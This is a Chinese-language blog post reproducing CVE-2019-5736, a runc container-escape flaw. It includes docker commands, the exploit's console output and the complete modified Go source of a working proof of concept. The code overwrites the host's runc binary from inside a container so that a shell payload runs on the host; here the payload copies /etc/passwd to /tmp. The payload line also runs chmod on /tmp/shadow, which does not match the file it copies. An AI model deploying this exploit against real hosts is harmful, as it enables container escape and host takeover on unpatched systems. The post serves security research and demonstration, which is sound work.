docker-runc主机逃逸漏洞复现:CVE-2019-5736
CVE-2019-5736是一个比较知名的runc漏洞,利用方式简单,危害很大,经常被拿来做云原生安全的攻击/防御演示。
我最近也研究了下这个漏洞的使用,研究的第一步首先是复现。
尝试了github上的示例: https://github.com/Frichetten/CVE-2019-5736-PoC , 这里对源码做了一些修改,在下面分享一下。
注意:ubuntu上安装的docker 18.06似乎已经打上了补丁,我手动编译了runc的1.0.0-rc5版本才成功复现。
复现方式:
在一个terminal里面:
1zhangwei@zhangwei-ubuntu-vm:~/program/gocode/src/github.com/Frichetten/CVE-2019-5736-PoC$ docker run -ti -v $PWD/exploit:/exploit ubuntu:18.04 bash
另一个terminal内执行:
1$ docker exec -ti 5b28d7ab5083 /bin/sh
此时第一个terminal的打印:
1zhangwei@zhangwei-ubuntu-vm:~/program/gocode/src/github.com/Frichetten/CVE-2019-5736-PoC$ docker run -ti -v $PWD/exploit:/exploit ubuntu:18.04 bash
2root@5b28d7ab5083:/# /exploit
3[+] Overwritten /bin/sh successfully
4[+] Found the PID: 17
5[+] Successfully got the file handle
6[-]Failed to open /proc/self/fd/3: open /proc/self/fd/3: text file busy
7[+] Successfully got write handle &{0xc0000501e0}
8root@5b28d7ab5083:/#
/tmp/
下多了一个passwd文件。
Ubuntu下面没有原demo里使用的/etc/shadow文件,所以我修改成了/etc/passwd,会被copy到/tmp/目录下。
修改过的源码:
1package main
2
3// Implementation of CVE-2019-5736
4// Created with help from @singe, @_cablethief, and @feexd.
5// This commit also helped a ton to understand the vuln
6// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
7import (
8 "fmt"
9 "io/ioutil"
10 "os"
11 "strconv"
12 "strings"
13 "time"
14)
15
16// This is the line of shell commands that will execute on the host
17var payload = "#!/bin/bash \n cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/shadow"
18
19func main() {
20 // First we overwrite /bin/sh with the /proc/self/exe interpreter path
21 fd, err := os.Create("/bin/sh")
22 if err != nil {
23 fmt.Println(err)
24 return
25 }
26 fmt.Fprintln(fd, "#!/proc/self/exe")
27 err = fd.Close()
28 if err != nil {
29 fmt.Println(err)
30 return
31 }
32 fmt.Println("[+] Overwritten /bin/sh successfully")
33
34 // Loop through all processes to find one whose cmdline includes runcinit
35 // This will be the process created by runc
36 var found int
37 for found == 0 {
38 pids, err := ioutil.ReadDir("/proc")
39 if err != nil {
40 fmt.Println(err)
41 return
42 }
43 for _, f := range pids {
44 fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
45 fstring := string(fbytes)
46 if strings.Contains(fstring, "runc") {
47 fmt.Println("[+] Found the PID:", f.Name())
48 found, err = strconv.Atoi(f.Name())
49 if err != nil {
50 fmt.Println(err)
51 return
52 }
53 }
54 }
55 }
56
57 // We will use the pid to get a file handle for runc on the host.
58 var handleFd = -1
59 for handleFd == -1 {
60 // Note, you do not need to use the O_PATH flag for the exploit to work.
61 handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
62 if int(handle.Fd()) > 0 {
63 handleFd = int(handle.Fd())
64 }
65 }
66 fmt.Println("[+] Successfully got the file handle")
67
68 // Now that we have the file handle, lets write to the runc binary and overwrite it
69 // It will maintain it's executable flag
70 for {
71 writeHandle, err := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
72 if err != nil {
73 fmt.Printf("[-]Failed to open /proc/self/fd/%d: %v\n", handleFd, err)
74 time.Sleep(1 * time.Second)
75 continue
76 }
77 if int(writeHandle.Fd()) > 0 {
78 fmt.Println("[+] Successfully got write handle", writeHandle)
79 writeHandle.Write([]byte(payload))
80 return
81 }
82 }
83}